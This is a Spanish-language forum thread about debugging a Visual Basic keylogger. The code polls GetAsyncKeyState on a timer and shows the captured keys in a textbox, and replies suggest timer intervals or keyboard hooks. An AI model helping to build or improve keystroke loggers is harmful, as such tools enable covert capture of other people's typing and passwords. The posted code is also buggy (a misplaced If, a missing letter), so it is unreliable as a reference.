Problema con mi Keylogger

[& eDu &]

Bueno, estoy programando mi keylogger y el timer que capta las pulsaciones no se a que intervalo ponerlo porque si escribes muy rapido no coje muy bien las teclas, tengo de intervalo 150.

¿Alguien sabe a cuanto ponerlo? Gracias.

[aaronduran2]

El que había hecho yo en mis inicios lo puse a 1 milisegundo y funcionaba perfectamente.

Saludos.

[& eDu &]

Si lo pongo a 1, por ejemplo cuando pulsa una tecla = se repite la misma tecla 2 o 3 veces...

[DarkMatrix]

Pon el Interval en 90, a mi me funciono con ese intervalo de tiempo sin repetir las letras Saludos xD!

[& eDu &]

Sigue sin ir bien, hay veces que no pilla las telcas, las repite etc...

[WestOn]

Si usas un teclado inalambrico quizas esq te faltan pilas y va mal
Yo el q tengo esta en 50 y no me da errores ni na..

un saludo

PD:¿Y no sera el code en donde esta el error?

[& eDu &]

Estoy en un portatil, mira el code

Código (vb) [Seleccionar] Expandir

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim cadena As String

Private Sub Timer1_Timer()
    If GetAsyncKeyState(vbKeyA) <> 0 Then
     cadena = cadena + "a"
    If GetAsyncKeyState(vbKeyB) <> 0 Then
     cadena = cadena + "b"
     ElseIf GetAsyncKeyState(vbKeyC) <> 0 Then
     cadena = cadena + "c"
     ElseIf GetAsyncKeyState(vbKeyD) <> 0 Then
     cadena = cadena + "d"
     ElseIf GetAsyncKeyState(vbKeyE) <> 0 Then
     cadena = cadena + "e"
     ElseIf GetAsyncKeyState(vbKeyF) <> 0 Then
     cadena = cadena + "f"
     ElseIf GetAsyncKeyState(vbKeyG) <> 0 Then
     cadena = cadena + "g"
     ElseIf GetAsyncKeyState(vbKeyH) <> 0 Then
     cadena = cadena + "h"
     ElseIf GetAsyncKeyState(vbKeyI) <> 0 Then
     cadena = cadena + "i"
     ElseIf GetAsyncKeyState(vbKeyJ) <> 0 Then
     cadena = cadena + "j"
     ElseIf GetAsyncKeyState(vbKeyK) <> 0 Then
     cadena = cadena + "k"
     ElseIf GetAsyncKeyState(vbKeyL) <> 0 Then
     cadena = cadena + "l"
     ElseIf GetAsyncKeyState(vbKeyM) <> 0 Then
     cadena = cadena + "m"
     ElseIf GetAsyncKeyState(vbKeyN) <> 0 Then
     cadena = cadena + "n"
     ElseIf GetAsyncKeyState(vbKeyR) <> 0 Then
     cadena = cadena + "r"
     ElseIf GetAsyncKeyState(vbKeyO) <> 0 Then
     cadena = cadena + "o"
     ElseIf GetAsyncKeyState(vbKeyP) <> 0 Then
     cadena = cadena + "p"
     ElseIf GetAsyncKeyState(vbKeyQ) <> 0 Then
     cadena = cadena + "q"
     ElseIf GetAsyncKeyState(vbKeyS) <> 0 Then
     cadena = cadena + "s"
     ElseIf GetAsyncKeyState(vbKeyT) <> 0 Then
     cadena = cadena + "t"
     ElseIf GetAsyncKeyState(vbKeyU) <> 0 Then
     cadena = cadena + "u"
     ElseIf GetAsyncKeyState(vbKeyW) <> 0 Then
     cadena = cadena + "w"
   ElseIf GetAsyncKeyState(vbKeyX) <> 0 Then
     cadena = cadena + "x"
     ElseIf GetAsyncKeyState(vbKeyY) <> 0 Then
     cadena = cadena + "y"
     ElseIf GetAsyncKeyState(vbKeyZ) <> 0 Then
     cadena = cadena + "z"
     ElseIf GetAsyncKeyState(32) <> 0 Then
     cadena = cadena + " "
     ElseIf GetAsyncKeyState(13) <> 0 Then
     cadena = cadena + vbNewLine
     ElseIf GetAsyncKeyState(63) <> 0 Then
     cadena = cadena + "?"
     ElseIf GetAsyncKeyState(191) <> 0 Then
     cadena = cadena + "¿"
     End If
     Text1.Text = cadena
End Sub

[WestOn]

 

[seba123neo]

Hola, por favor nunca haria un keylogger con un intervlo de 1 milisegundo, te come en recursos el programa, se puede hacer sin timer usando un Hook...

saludos.

[Karcrack]

Si has de usar el metodo del Timer, el cual no me gusta demasiado ... prueba a obtener la 'Velocidad de Repeticion' del teclado, que esta en 'Panel De Control'/'Teclado'

Saludos